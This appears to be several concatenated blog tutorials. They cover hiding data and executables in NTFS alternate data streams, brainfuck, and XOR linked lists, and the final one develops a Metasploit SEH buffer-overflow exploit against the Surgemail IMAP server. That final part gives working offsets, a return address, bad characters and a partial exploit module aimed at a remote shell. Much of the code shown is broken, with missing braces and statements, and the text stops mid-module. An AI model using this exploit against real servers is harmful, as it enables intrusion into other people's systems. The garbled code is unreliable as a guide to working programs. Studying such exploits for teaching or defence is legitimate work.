               1 File(s)             44 bytes
               2 Dir(s)  58,964,307,968 bytes free

C:\foo\bar>rename newt.txt delete_me.txt

C:\foo\bar>type delete_me.txt > newt.txt

C:\foo\bar>del delete_me.txt

Practically speaking, this is only useful unless you already suspect some type of suspicious behavior coming from a particular directory. (If you’re curious what $DATA is, take a look here.)

Something a little more practical is to use a tool like LADS. Unlike the /R switch, LADS lists only the files with  ADS streams associated with them; not the entire directory contents. It also has more features like recursing through subdirectories and displaying a verbose report. The nice thing about it is that it works on Windows NT4, Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows 7.

C:\foo\bar>lads.exe .

LADS - Freeware version 4.10
(C) Copyright 1998-2007 Frank Heyne Software (
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!

Scanning directory C:\foo\bar\

      size  ADS in file
----------  ---------------------------------
    193536  C:\foo\bar\calc.exe:notepad.exe
        40  C:\foo\bar\newt.txt:hicks
     27136  C:\foo\bar\svchost.exe:svchost.exe

    220712 bytes in 3 ADS listed

But if you’re like me and are surrounded by people who wouldn’t know what a command-line even was, there are a few GUI tools as well. I’d recommend ADS Spy. Even though it doesn’t support the old Windows versions that LADS does, it does have the neat option of removing any ADS streams it finds. It can also calculate the MD5 checksum of the stream.


ADS Spy scan reveals three alternate data streams.

LADS and ADS Spy are both great tools and I give them my full seal of approval. :)

Programming With ADS

Up until now, all examples involving the creation of ADS streams have been using the command-line. Additionally, you can also use ADS in the Windows C API.

// ads.cpp

#include <iostream>
#include <windows.h>

using namespace std;

#define FILENAME "fling.txt"
#define ADS      FILENAME ## ":flang.txt"

Write(HANDLE *hHandle, char *lpczFile, char *lpczMsg, DWORD nByteSize)
    DWORD dwWritten;

    *hHandle = CreateFileA(lpczFile,

    if (*hHandle == INVALID_HANDLE_VALUE)
        return FALSE;
        WriteFile(*hHandle, lpczMsg, nByteSize, &dwWritten, NULL);

    return TRUE;

    char *lpczFileMsg, *lpczStreamMsg;
    BOOL bStatus;
    DWORD dwFileSize, dwStreamSize;
    HANDLE hFile, hStream;

    lpczFileMsg = "Yap flopping flabrizzle!";
    dwFileSize  = strlen(lpczFileMsg);

    lpczStreamMsg = "Da woogle booshizzle!";
    dwStreamSize  = strlen(lpczStreamMsg);

    // Write to original file.
    bStatus = Write(&hFile, FILENAME, lpczFileMsg, dwFileSize);

    if (bStatus)
        cout << "Wrote '" << lpczFileMsg << "' to " << FILENAME << endl;
    else {
        cerr << "[ERROR] Failed to open " << FILENAME << endl;

    // Write to alternate data stream.
    bStatus = Write(&hStream, ADS, lpczStreamMsg, dwStreamSize);

    if (bStatus)
        cout << "Wrote '" << lpczFileMsg << "' to " << ADS << endl;
    else {
        cerr << "[ERROR] Failed to open " << ADS << endl;


    return 0;

Even if you’re unfamiliar with the Windows C API, this should still be fairly self-explanatory. You call CreateFile() as you normally would except using the filename:stream notation like we did on the command-line.

Just to double check that it works:

C:\foo\bar>cl /nologo ads.cpp

Wrote 'Yap flopping flabrizzle!' to fling.txt
Wrote 'Da woogle booshizzle!' to fling.txt:flang.txt

C:\foo\bar>type fling.txt
Yap flopping flabrizzle!
C:\foo\bar>more < .\fling.txt:flang.txt
Da woogle booshizzle!

Perfect. Additionally, you can use the same method when reading from an ADS with the ReadFile() function. You get the idea though. It’s simple stuff, really.

There’s one gotcha that’s worth noting: ADS cannot be used in .NET languages. This is due to the fact that the colon character is only allowed to appear directly after the drive letter.

Data Loss

The downside to ADS is that they’re only safe on NTFS drives. If you move a file that has an associated ADS to another location that does not support filesystem forks, you will lose everything in the ADS. Not only does that mean simply copying to something like a FAT32 formatted flash drive but it also includes communications like email or FTP. It gets even worse when you consider what would happen when transferring files between forks-aware filesystems but using a program that does not support them. The same can occur when compressing files that aren’t fork-aware either.

The bottom line, keep your ADS files put. Even though the whole notion of ADS was to be compatible with other fork-aware filesystems, there are just too many variables in between that can result in data loss.

The Future of ADS

As a legitimate solution to storing metadata, ADS has a very dull future. Because of all the compatibility problems and security concerns, manufacturers have largely moved over to extended file attributes. Extended file attributes are a much more practical solution to organizing metadata since data is organized into key-value pairs instead of just raw binary data and cannot exceed the size of the original file. It’s nice to see companies starting to realize that the security implications of filesystem forks far outweighs their usefulness. However, as long as filesystem forks like ADS are at least 1% supported, they’ll always pose some type of risk. And I’ll always be there to exploit it. :P

Let’s Get Brainfucked!

Despite all the possible innuendos that could be suggested with a title like that, no, I’m not trying to be dirty. I’m talking about brainfuck: an esolang created by Urban Müller designed to be extremely minimalist while still remaining Turing-complete. Meant to be both challenging and amusing, brainfuck has naturally attracted some of the most witty and clever hacks.

The behavior of a brainfuck program mimics that of a Turing machine. Generally speaking, a Turing machine is a hypothetical device that manipulates symbols on an infinitely long tape according to a fixed set of rules. Though such a device is inconceivable since there’s simply no way to implement something infinite, it’s used as a model to simulate the logic of those amazing little CPU’s inside all of our neat-o gadgets.

For something more tangible, here’s a video of an actual Turing machine created by Mike Davey. Note that it’s not a definitive Turing machine since the strip of tape is not infinitely long. Regardless, it’s still incredible.


To say that brainfuck is “extremely minimalist” is really quite an understatement. Perhaps “uniquely cryptic” is a little more accurate. The entire brainfuck language consists of merely eight instructions. Furthermore, each one of them is only represented with a single character.

Command Description
> Increment the data pointer to point to the next cell.
< Decrement the data pointer to point to the previous cell.
+ Increment the byte value at the data pointer.
- Decrement the byte value at the data pointer.
. Output the byte value at the data pointer.
, Input one byte and store its value at the data pointer.
[ If the byte value at the data pointer is zero, jump to the instruction following the matching ] bracket. Otherwise, continue execution.
] Unconditionally jump back to the matching [ bracket.

A brainfuck program consists of a sequence of these odd instructions, a byte or "cell" array (usually 30,000 bytes and initialized to zero, although not required), a data pointer which starts at the first byte of the array, and two standard streams for input and output.

The brainfuck Interpreter

Before moving on, you're obviously going to need a brainfuck interpreter. The Internet is brimming with different brainfuck compilers and interpreters so you shouldn't have a hard time finding one. In fact, I'll make it easy for you; just use mine! It's called Egghead. I wrote Egghead with the goal of making it a full GNU package and not just some amusing 30 line Perl script. It also has the advantage of including a debugger; although it's still in a development branch at the moment.

As much as I would love for people to use Egghead, I'd also encourage you to write your own brainfuck interpreter. The funny thing about brainfuck is that even though the language itself is obscure, a brainfuck interpreter is incredibly simple; an assertion that is usually the opposite for most languages. In fact, Müller's brainfuck-2 interpreter was only 240 bytes!

Here's the simplest way that it's generally done. Starting out with:

char array[30000];
char *ptr = array;

The brainfuck instruction set can be roughly translated into the following C statements:

Instruction C Code
> ptr++;
< ptr--;
+ *ptr++;
- *ptr--;
. putchar(*ptr);
, *ptr = getchar();
[ while (*ptr) {
] }

Plop that in a switch statement and you're done. It's that simple.

But I'm not here to just explain the brainfuck interpreter. If I was, I'd be done already and we'd all be sad. It's time to shed some light on an obscure language that, admittedly, even took myself a while to comprehend.


So you know what brainfuck is and you know it has eight commands. You would think that the next appropriate step would be to demonstrate the classic "Hello World!" example. Not with brainfuck. A brainfuck "Hello World!" program looks like a complete nightmare at first glance. Let's just do some basic input/output first.

,    // Read one byte into first cell
+    // Increment value at first cell
.    // Display value at first cell

Simple. Whatever is input gets incremented and displayed back out. If you entered 'a', it will display 'b' and if you entered 'x', it will display 'y', and so on.

You're probably thinking, "What the brainfuck? You never said anything about inline comments." That's because those aren't really comments. By default, brainfuck will ignore any invalid characters. You're free to insert whatever you want. I chose to use C++ style comments just for the sake of familiarity.

Mimicking toupper() and tolower()

We can expand upon this example and perform something similar to C's toupper() function. The difference between an ASCII lowercase and uppercase letter is 32. Therefore, we could write:

----------------    // Decrement value at first cell
----------------    // thirty-two times

Since the - command decrements the value at the data pointer by one, using it 32 times accomplishes the same thing as subtracting the initial value by 32. Therefore, whatever is input gets displayed as its uppercase equivalent. So 'a' becomes 'A' and 'x' becomes 'X'.

These two code snippets only manipulate the first cell of the byte array though. There's 29,999 more at our disposal. Enter the > and < commands which advance and backtrack the data pointer respectively.

Let's revamp that last example a little bit and combine both toupper()'s and tolower()'s behavior. We can subtract 32 from the first cell, move to the second cell, ask for another value, add 32, then display both values. Just like this:

,                   // Input first value
----------------    // Convert to uppercase
>                   // Move data pointer to second cell
,                   // Input another byte into second cell
++++++++++++++++    // Convert to lowercase
<                   // Move data pointer back to first cell
.>.                 // Display first and second cell

See how cryptic this can become? All we did was convert uppercase and lowercase letters and yet if you were to look at this briefly, you'd have no idea that's all it was doing. It takes a lot of patience.


You may be starting to feel just a little brainfucked but there's two more commands left: [ and ]. These commands are used to form loops. They basically say "while the current value being pointed to is not zero, keep on looping between the [ and ] until it is." That's it.

++++++    // Start with 6
[         // Loop while first cell is non-zero
-         // Decrement first cell
]         // Jump back to matching [

Here we set the first cell to 6. When the [ is encountered, the interpreter checks to see if the current value being pointed to is greater than zero. Since it is, the loop is entered. The loop simply decrements the cell value by one. When the ] is encountered, execution jumps back to the matching [ bracket and the conditional is evaluated again. Now that it's 5, the loop continues. This goes on and on until the cell finally contains zero.

Simulating Multiplication and Division

I know, I know...that's still kinda lame. The [ and ] commands don't really introduce anything new or special but they give us a lot of power. Given everything that's been explained up until now, can you think of a way to perform multiplication or division?

Here's 7 × 6:

+++++++    // Loop 7 times
>++++++    // Add 6 to second cell
<-         // Decrement first cell
>.         // Display second cell's value

For each interval in the first cell's value, a given amount gets added to the second cell. In this example, 6 gets added to the second cell 7 times, giving 42. It took Deep Thought 7.5 million years to calculate this yet all it took for us was a 22-character brainfuck script. :P

Division can be done using the same technique for 12 ÷ 4:

++++++++++++    // Loop 12 times
>+              // Increment second cell
<----           // Subtract 4 from first cell
>.              // Display second cell's value

"Hello World!"

Building upon this technique, the ever-loved "Hello World!" program finally becomes possible:

++++++++[>+++++++++<-]>.    // 8 x 9 = 72 (H)
<+++++[>++++++<-]>-.        // 72 + (6 x 5) - 1 = 101 (e)
+++++++..                   // 101 + 7 = 108 (l)
+++.                        // 108 + 3 = 111 (o)
<++++++++[>>++++<<-]>>.     // 8 x 4 = 32 (SPACE)
<<++++[>------<-]>.         // 111 - 24 = 87 (W)
<++++[>++++++<-]>.          // 87 + 24 = 111 (o)
+++.                        // 111 + 3 = 114 (r)
------.                     // 114 - 6 = 108 (l)
--------.                   // 108 - 8 = 100 (d)
>+.                         // 32 + 1 = 33 (!)

It's ugly - there's no doubt about that - but if you take it step by step, it makes complete sense. For the most part, it simply uses the multiplication technique from earlier, then it applies it over and over again to get from the previous number to the next. However, there are a few cases where it uses a third cell. That's why I'll explain it again except, this time, I'll list the value of each cell. I'll use the notation Cn:x where n represents the cell number and x is the decimal value of the respective cell. For example, if the first cell contained the value 23, it'd be written C1:23 and if the second cell contained the value 145, it'd be written C2:145.

++++++++[>+++++++++<-]>.    // C1:0 C2:72  C3:0
<+++++[>++++++<-]>-.        // C1:0 C2:101 C3:0
+++++++..                   // C1:0 C2:108 C3:0
+++.                        // C1:0 C2:111 C3:0
<++++++++[>>++++<<-]>>.     // C1:0 C2:111 C3:32
<<++++[>------<-]>.         // C1:0 C2:87  C3:32
<++++[>++++++<-]>.          // C1:0 C2:111 C3:32
+++.                        // C1:0 C2:114 C3:32
------.                     // C1:0 C2:108 C3:32
--------.                   // C1:0 C2:100 C3:32
>+.                         // C1:0 C2:100 C3:33


One of the neat things about brainfuck is its adherence to Perl's TIMTOWTDI philosophy: "there's more than one way to do it". Consider the program that reverses an input string:


This could equally have been written as:


Knocking it up a notch, here's one way to compute the Fibonacci sequence:


And another:



But wait, there's more!

And just when you thought things couldn't possibly get any worse, then someone comes along and completely shatters your worldview. How? Oh, you know, just by writing another brainfuck brainfuck. Behold BF interpreter written in BF. Self-hosting compilers are tough to comprehend as it is but somehow Frans Faase pulled it off. Believe it or not, self-hosted brainfuck interpreters are not an uncommon site. The Internet is full of them. Two more of them are linked to from his homepage, both of which are even shorter.

It doesn't stop there though. Another example of the horrifying things brainfuck has inspired is Thomas Wright and his brainfuck ASCII art message concealer. Give it some text to display and an image to upload and it'll spit out an ASCII art presentation of your image with the necessary brainfuck code required to display your text discretely embedded within it. It's pure genius. It also makes for a great forum signature.

There's also CherryBlossom. Written by Vivin Paliath, it maps the brainfuck instruction set to words that convey a similar meaning so that they can be written as a haiku. Consider the , instruction which is used to input a value. Therefore, it's meaning can be represented with words like absorb, receive, and learn.

Remember I said how awful the brainfuck "Hello World" example can look? Well take a look at the equivalent CherryBlossom code:

beautiful jasmine
your lovely fragrance heals me
every morning

remembering you,
dreaming of your lovely smile,
when will you come here?

floating butterflies
sunshine and summer flowers
a lovely morning

blossoming hillside
on a fragrant summer day
blooming, flowering.

I can remember
my happy dreams of summer
it was beautiful

flying doves, sunrays
beauty flying in sunshine
rain in the valley.

snow falls in moonlight,
returns to the mountainside.
lovely, beautiful.

view from mountaintop
is a beautiful painting,
in summer sunshine.

the fragrant flowers
and the pretty butterflies
spring by singing creek.

beautiful morning
butterflies by riverside
floating in sunshine.

such a lovely sight,
the valley waterfall is
in the spring sunshine.

sunrays and sunshine,
the butterflies and flowers
loving the new spring.

the pretty flowers
are dreaming of a summer
with the smiling sun.

music from heaven,
is melodious and sweet,
dreamy and happy.

the river is cold
and misty in the moonlight,
in the autumn chill.

winter riverside,
lonely, icy, and chilly
darkening evening

the lonely winter,
barren riverside ahead
a dreaming poet

Has code ever looked so beautiful?

It's not hard to see now why the name "brainfuck" is just about the only appropriate name for such a language. When there's something that has zero practical purpose yet has motivated people to create inexplicable anomalies such as these, how else could you possibly describe the state of their brain!? Now get out there and have fun...err...frying your brain.

Complicating Things With XOR Linked Lists

If you’re anything like me and find endless amusement in the old Obfuscated Perl Contests, you’ll enjoy this post. As a hacker, there’s nothing quite as gratifying as observing playful cleverness in someone else’s or your own code. It’s that moment when you think, “Ah…I see what you did there Mr. Sneaky Pants…very ingenious” which is usually followed by, “Let me see if I can do better.”

I’ve recently discovered a clever trick called the “XOR Linked List”. Apparently, it’s been in use for quite some time yet somehow I’d never heard about it until now. As Bender Bending Rodriquez so eloquently put it, “You learn something dumb every day.”

As you know, a doubly linked list is a set of sequentially linked nodes. Each node contains two fields; one references the previous node and the other references the next node. On the other hand, an XOR linked list combines both the “next” and “previous” fields into a single field by taking advantage of the properties of the XOR operator. It does this by storing the XOR of the previous node and the next node. For the sake of this article, I’ll call this the “link field.”

So instead of your traditional doubly linked list like this:

Doubly Linked List

A traditional doubly linked list.

You end up with something looking like this:

XOR Linked List

An XOR Linked List.

To traverse the list, you simply XOR the link field with the address of the opposite node you want to access. For example, if you were traversing left to right at node B (whose link field contains A ⊕ C) and wanted to access the next node C, you would take the previous node’s address (which is A) and XOR it with the current link field (A ⊕ C), giving you the address of C. Logically, this would look like C = A ⊕ (A ⊕ C).

To understand why this works, let’s look at the properties of the XOR operator.

Property Formula Result
Commutativity A ⊕ B B ⊕ A
Associativity A ⊕ (B ⊕ C) (A ⊕ B) ⊕ C

In addition to these two properties, the following basic identities can be proven:

Identity Result
A ⊕ 0 A
A ⊕ A 0
(A ⊕ B) ⊕ A B

There are several other identities but these are the only ones relevant to the XOR linked list. The last identity is exactly what I explained before. It can be a little tricky so I’ll break it down a bit with a proof.

As you know, (A ⊕ B) ⊕ A = B and because of the Associative Property, this could have equally been written as A ⊕ (B ⊕ A). Removing the redundant parenthesis and applying the Commutative Property, we can rewrite this as A ⊕ A ⊕ B. The second identity states that A ⊕ A = 0, so the expression can be reduced to 0 ⊕ B. Finally, using the first identity, this can be further be reduced to just B.

In terms of the linked list, all of this could be expressed as:

Field Value
Link Next ⊕ Previous
Next Link ⊕ Previous
Previous Link ⊕ Next

Instead of a bunch of theory, let’s look at an example. Despite my extreme hatred of C++, I’m forced to use it here since, as you’ll soon learn, this hack is not suitable for garbage collected languages.

Create the file xor_linked_list.h like so:

// xor_linked_list.h

#include <iostream>

struct XorNode {
    int id;
    XorNode *link;

class XorLinkedList {
    XorNode *head;
    XorNode *tail;

    XorNode *nextNode(XorNode *node, XorNode *prevNode) {
        return ((XorNode *) ((int) node->link ^ (int) prevNode));

    void deleteList(void) {
        XorNode *prev, *current;

        prev    = NULL;
        current = head;

        while (current) {
            std::cout << "Node removed: " << current->id << std::endl;
            current->link = nextNode(current, prev);

            if (prev)
                delete prev;

            if (!current->link) {
                delete current;
                current = NULL;


            prev    = current;
            current = current->link;

        std::cout << std::endl;

    void insertAfter(XorNode *newNode, int id) {
        XorNode *prev, *current, *next;

        prev    = NULL;
        current = head;

        while (current) {
            next = nextNode(current, prev);

            if (current->id == id) {
                // Fix the current "next" node
                if (next)
                    next->link = (XorNode *) ((int) next->link
                                            ^ (int) current
                                            ^ (int) newNode);

                // Fix current node
                current->link = (XorNode *) ((int) newNode
                                           ^ (int) next
                                           ^ (int) current->link);

                // Fix new node
                newNode->link = (XorNode *) ((int) current ^ (int) next);


            prev    = current;
            current = next;

    void traverse(XorNode *root) {
        XorNode *current, *prev, *next;

        prev    = NULL;
        current = root;

        while (current) {
            std::cout << "Node found: " << current->id << std::endl;

            next    = nextNode(current, prev);
            prev    = current;
            current = next;

        std::cout << std::endl;

    void insert(int id) {
        XorNode *newNode = new XorNode;

        if (!newNode) {
            std::cerr << "[ERROR] Failed to insert new node." << std::endl;

        newNode->id = id;
        newNode->link = NULL;

        std::cout << "Node added: " << newNode->id << std::endl;

        if (!head)
            head = tail = newNode;
        else {
            insertAfter(newNode, tail->id);
            tail = newNode;


Then create main.cpp:

// main.cpp

#include <iostream>
#include <cstdlib>
#include "xor_linked_list.h"

int main(int argc, char *argv[]) {
    XorLinkedList *list = new XorLinkedList;

    int nodeCount;

    if (argc < 2) {
        std::cerr << "Usage: " << argv[0] <<  " <nodes>" << std::endl;
        return 1;

    nodeCount = atoi(argv[1]);

    std::cout << "# Adding " << nodeCount << " nodes to list" << std::endl;

    for (int i = 0; i < nodeCount; i++)

    std::cout << std::endl;

    std::cout << "# Forward traversal" << std::endl;

    std::cout << "# Backward traversal" << std::endl;

    std::cout << "# Removing nodes from list" << std::endl;

    delete list;
    list = NULL;

    return 0;

If you’ve taken the standard Data Structures and Algorithms class, you’ll recognize most of this as your classic textbook “let’s learn about linked lists” example. When the list has no nodes, head and tail are both 0. When only one node is present, head is the node while tail is still 0. Under the last condition when there are two or more nodes in the list, head and tail point to the first and last nodes respectively. The only thing different about them is how the nodes are referenced. You can see this in the  nextNode() method:

return ((XorNode *) ((int) node->link ^ (int) prevNode));

Put more simply in pseudo-code, this translates to:

next node = link field XOR previous node

Which, again, reduces to:

next node = previous node XOR next node XOR previous node

This is similar to what we saw before with C = A ⊕ (A ⊕ C).

Compile and run the program, passing the number of nodes as an argument:

[foo@bar ~]$ g++ -Wall -o xorll main.cpp
[foo@bar ~]$ ./xorll 4
# Adding 4 nodes to list
Node added: 0
Node added: 1
Node added: 2
Node added: 3

# Forward traversal
Node found: 0
Node found: 1
Node found: 2
Node found: 3

# Backward traversal
Node found: 3
Node found: 2
Node found: 1
Node found: 0

# Removing nodes from list
Node removed: 0
Node removed: 1
Node removed: 2
Node removed: 3

Even though XOR linked lists are quite clever, they are just that. Nothing more. You won’t see this type of playfulness in production-ready code. For one thing, it adds to the complexity of the code. Its purpose is not readily apparent and makes maintenance more expensive. Also, in order to calculate the address of the next node you need to remember the address of the node that was last accessed while traversing the list, adding further complexity.

Another reason it is not practical, as I mentioned earlier, is due to garbage collection. Most garbage collectors will fail to work properly with classes or structures that don’t contain literal pointers. This also restricts it to low-level languages that use pointers like C/C++. I would have loved to use a Java example; however, Java is a garbage collected language and has no notion of pointers. Imagine the case where a program wrote those pointers to a file and read them back later on. The mangled addresses referenced by those pointers are likely to have been recycled, causing major borkage.

The only slightly practical application of XOR linked lists are in environments with limited space requirements, such as embedded devices. It effectively cuts the allocated memory for a linked list in half by 50% at the expense of a few extra machine cycles. Even then, using an unrolled linked list would be much more practical.

Despite all these disadvantages, I still think XOR linked lists are really clever and ingenious. They add an eloquent twist on an otherwise mundane task. It’s through these silly things like XOR linked lists and sleep sort and self-interpreted brainfuck and obfuscated Perl that the innovative nature of the hacker really shines.

How to Write a Metasploit Module – Part 2

After a long semester of non-stop work, I’ve finally gotten around to writing another post. This one took a little extra research on my part which would explain the delay. Previously, I explained how to write a simple IMAP fuzzer using the Metasploit Framework. It was fun, right? Compromising a machine is all the more fun when you’ve done it with tools that you wrote yourself. Well, to be politically correct, we didn’t exactly compromise the machine; we just crashed it with a denial-of-service. However, in this post I’m going to show you how to turn our cute, little, fuzzy, wuzzy, fuzzer into a full-blown exploit that results in a remote shell. This is the real fun stuff. :)

Exploit development can be quite a tedious task; calculating buffer offset lengths, finding the exact return address, thinking forwards and backwards because of big and little endian architectures, swimming through seas of disassembled code looking for patterns, and so much more. Fortunately, we have the Metasploit Framework. As you’ll soon see, MSF provides a plethora of tools to help make this job easier for us.

We last left of by increasing the fuzz string length to 11,000 bytes. This allowed us to overwrite the Structured Exception Handler (SEH) for the surgemail.exe process. Now that we know this, let’s try and take control of the SEH record.

Before we move on, let me explain a little about SEH first. Unfortunately, SEH is one of the most under-documented features of the Windows platform. There’s nothing I hate more than lack of documentation for a particular tool. It really makes my blood boil. Luckily, Matt Pietrek wrote a fantastic article here on the subject back in ’97. I highly recommend you read his article in addition to what I’ll explain here. It is very well written which is uncommon for Windows technologies.

Structured Exception Handling is the native exception handling mechanism on the Windows platform. Every process has an SEH chain (just a basic linked list) that’s supplied by the OS. When an exception is thrown, the OS traverses the list, calling each exception handler until one of them signals that is has handled the exception. Each record (of type _EXCEPTION_REGISTRATION) in the list is eight bytes in length and has two fields:

  1. A four byte _EXCEPTION_REGISTRATION* pointer to the next record.
  2. A four byte DWORD pointer to the exception handler.

For the sake of simplicity, I’ll be referring to the _EXCEPTION_REGISTRATION* field as NextSEH and the DWORD pointer to the exception handler as SEHandler. These are not the actual names used in the SEH source code but since M$ has so thoughtfully closed their source code, I’ll just use my own names.

Actually, the _EXCEPTION_REGISTRATION* pointer points to the previous record. I’m not sure why M$ does this backwards since just about every programmer on earth has each node in a linked list point to the next node. It doesn’t really matter what direction you think in though.

That means it will look like this:

SEH Chain

SEH chain implemented as a linked list.

Notice that the record for the default handler always sits at 0xffffff. This is MSVCRT!exhandler which displays an error message indicating a general protection fault (GPF). You know the one:

foobar.exe has encountered an error and needs to close. We are sorry for the inconvenience. We’ve created an error report that you can send to help us improve foobar.exe.

There are a few different techniques for exploiting SEH but, generally speaking, it works by overflowing a buffer all the way into the current _EXCEPTION_REGISTRATION record on the stack. The buffer is specially crafted so that the first field in the record points to some malicious shellcode and the second field points back to the first field so that the shellcode gets executed. I’m going to show you something slightly different though. This process gets a little more involved but I’ll explain it further once we reach that point.

Let’s pick up where we left off. Remember we were using a buffer of 11,000 A’s? Let’s try it again so this time I can give you a screenshot. On the target machine, restart the surgemail.exe service, attach the Immunity Debugger to the process and press play (make sure to run them both as the Administrator). Back on your machine (I’m using BackTrack 5), rerun the fuzzer in msfconsole. After merely one (very long) request, you should now see the process crash as expected in the debugger. So far, so good. To see how this affected the SEH chain, navigate to View → SEH Chain. You will see the value 41414141; 0x41 being the ASCII value for ‘A’. Perfect. Now right-click on this and select “Follow address on stack”. This will dispaly the contents of the stack at the point where the SEH record was overwritten. Isn’t Immunity Debugger great?

SEH Fuzz Overflow (A)

SEH record overwritten with ASCII ‘A’ sequence.

This is where things get interesting. When the exception is handled, the EIP register will be set to the address of the SEH handler. Since we now control the value of this handler, we can redirect execution to our shellcode (we’ll add this later).

Just like in a traditional buffer overflow, we now have to determine the precise length of the buffer required to overflow into SEH. If you haven’t already, this is where you are going to fall in love with MSF. Trust me.

Back in our fuzzer module, modify the code in the run() method so that it looks like this:

print_status(“Generating fuzzed data...”)
fuzzed = Rex::Text.pattern_create(11000)    # Point A
print_status(“Sending fuzzed data, buffer length = %d” % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

Notice the call to Rex::Text.pattern_create() at Point A. This creates a non-repeating, unique string (this actually does the same thing as the msf4/tools/pattern_create.rb script.) It takes an integer argument specifying the string length which, in our case, is 11,000. Well, so what? Who cares, right? Any nonsense string should work. No. This means that when we overwrite the SEH record, it will contain a unique value that’s within the fuzzed string. Once we know that, we can calculate how far into the buffer that pattern occurs and that will become our exact buffer length. So simple, yet so genius.

Repeat the process all over again of restarting surgemail.exe, attaching the debugger to it, and rerunning the fuzzer. This time SEH is overwritten with the value 684E3368 (this value may be different on your machine though.)

SEH Overflow Using pattern_offset()

SEH record overwritten with unique value from pattern_offset().

Now we can take this value and determine at what point it occurs in the string. Then we’ll know exactly how long our buffer needs to be. As you’d imagine, MSF already provides us with just the tool for this: pattern_offset.rb. From the Metasploit root directory, it’s in msf/tools. Running it without any argument displays it’s usage information:

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb
Usage: pattern_offset.rb
Default length of buffer is none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically

So the first argument is the pattern to search for and the second is the buffer length that was passed to pattern_create() earlier. Let’s give it a shot:

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 684E3368 11000

Right away it tells us that the offset is 10360 bytes. What does that mean? It means that the four bytes that will overwrite the SEH record on the stack are at the offsets 10361, 10362, 10363, and 10364. To verify this, modify the fuzzed string in our module once again so that it looks like this:

print_status("Generating fuzzed data...")
fuzzed = "\x41" * 10360 + "\x42" * 4 + "\x43" * 636
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)

This makes our fuzz string begin with 10,360 A’s, followed by four B’s, and ending with 636 C’s. Make sure you understand that the four B’s is what will overwrite the SEH record. The first B is at offset 10361, the second at 10362, the third at 10363, and the fourth at 10364. Simple. Lastly, the 636 C’s at the end act as extra padding so that the total length remains at 11,000 bytes.

Run the fuzzer once again and you see that the SEHandler pointer has been overwritten with the four B’s. This is exactly what we wanted.

SEH Fuzz Overflow (B)

SEH record overwritten with ASCII ‘A’ and ‘B’ sequence.

At this point, we’re finished with the fuzzing process and can begin developing the actual exploit.

Generally speaking, a traditional SEH overflow exploit can be broken down into four steps:

  1. Force an exception to be thrown.
  2. Overwrite the NextSEH field with a JMP instruction to jump to the shellcode.
  3. Overwrite the SEHandler field with a pointer to a POP-POP-RETURN sequence.
  4. Execution will now go to the address pointed to by NextSEH.

Corelan has an excellent article on the entire process here. Read it. Read it now.

Before moving on, I want to explain why we’re using a POP-POP-RETURN sequence. For the longest time, I could not understand the purpose of using this seemingly random sequence of instructions. When a __try statement is encountered at compile time, MSVC calls the “function prologue” named EH_prolog(). This function allocates an 8-byte _EXCEPTION_REGISTRATION structure on the stack and adds it to the head of the list. This means that the pointer to the next SEH record (NextSEH) is located at ESP+8. The POP-POP-RETURN instructions place this address into the EIP register and directs execution to the code pointed to by the NextSEH field which we have already overwritten with a JMP to our shellcode. Pretty clever, right?

However, we are dealing with very limited space here. A near jump instruction is five bytes but we only have four bytes of space. That one extra byte would overflow into the SEHandler field, completely screwing things up. On the other hand, a short jump is only four bytes in length. That’s why we’re gonna have to be a little more creative with our solution.

We’ll overwrite the SEHandler field with a pointer to a POP-POP-RETURN sequence as usual. However, then we’ll use a short jump backward to gain that extra five bytes of space. After that, we’ll perform a larger near jump back into a NOP sled (to give us some wiggle room) which will “slide” execution down to the shellcode. It’s a little tricky so, again, I strongly urge you to read Corelan’s article on SEH exploits.

This is what the buffer will end up looking like:

Malicious SEH Buffer

Contents of malicious buffer to overwrite SEH record.

When choosing a POP-POP-RETURN sequence, you should always use a universal address from the application DLL or executable. This will make the exploit more portable across different Windows platforms. So how do we find the address of a POP-POP-RETURN sequence in surgemail.exe? You have two choices: if you’re still using Immunity Debugger (which I hope you are), then you can download the mona PyCommand plugin by Corelan. Your second choice is Metasploit’s msfpescan. Both of these tools will search a Portable Executable (PE) binary and return a memory map containing the requested sequence of instructions.

To be honest, I had a bit of trouble using msfpescan. In fact, it’s because of msfpescan that it took me so long to publish this post. Oddly enough, the addresses reported by msfpescan and mona when run against the same executable were not the same. Even more strange, the exploit would not work when using any address found with msfpescan. However, one try with an address from mona and everything went fine. I won’t bash msfpescan though. It really is a great tool. Therefore, even though I’m trying to showcase MSF here, we’re going to use mona for this step.

Since we’re looking for a POP-POP-RETURN sequence, we’re going to use mona’s seh command. In the command box near the bottom of the window, type the following command:

!mona seh

That’s it! It’s quite fast and should only take about five second to complete. You can either view the output in the log file (Alt+L) or seh.txt in the Immunity Debugger installation directory. It will look a little something like this:

Contents of seh.txt

Memory map generated by mona.

It doesn’t matter which address you choose. For this demonstration, the one at 0x006ef690 will do just fine. Now that we have an address, we can plug it into our exploit module. Oh wait…we never wrote it! All this time spent focusing on theory and we haven’t written a thing. Let’s do that now.

Save the following file to ~/.msf4/modules/exploits/windows/imap/surgemail_overflow.rb.

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote    # Point A
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', '' ]
			'Privileged'     => false,
			'DefaultOptions' =>
					'EXITFUNC' => 'thread'
			'Payload'        =>
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
			'Platform'       => 'win',
			'Targets'        =>
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))

	def exploit
		connected = connect_login

		lead = "\x41" * 10360                    # Point B
		evil = lead + [target.ret].pack("A3")    # Point C

